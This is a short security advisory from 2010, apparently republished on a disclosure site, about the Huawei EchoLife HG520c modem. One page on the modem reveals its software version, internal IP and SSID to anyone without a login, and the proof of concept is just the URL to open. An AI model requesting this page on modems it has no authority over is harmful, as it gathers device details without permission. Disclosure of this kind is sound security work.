Huawei EchoLife HG520c Information Disclosure

Huawei EchoLife HG520c Information Disclosure

Posted on May 16 2010   |  Plain text version

Summary

Huawei EchoLife HG520 modems are vulnerable to an information disclosure vulnerability. Sensitive modem information can be accessed using a public URL in modems with the web interface activated.

Description

===========================================
HUAWEI ECHOLIFE HG520c Information Disclosure
===========================================

Device: EchoLife HG520c
Software Version: V100R001B021Telmex
V100R001B020Telmex
Firmware Version: 3.10.18.7-1.0.7.0 (ultima version)
3.10.18.5-1.0.7.0
Vulnerable Models: HG520c
Publication date: 2010-05-16
Criticality level: Low
Impact: Information Disclosure
Where: Web administration interface (LAN/WAN)
Websec Advisory: ws10-11


[Description]
=================
The page '/Listadeparametros.html' reveals important information such as
software version, internal IP, SSID, etc. No authentication is required.


[Exploit]
=================
From LAN or Client-Side just open '/Listadeparametros.html':

http://192.168.1.254/Listadeparametros.html

In case of having the admin interface enabled in WAN:

http:///Listadeparametros.html

POC

http://192.168.1.254/Listadeparametros.html

http:///Listadeparametros.html


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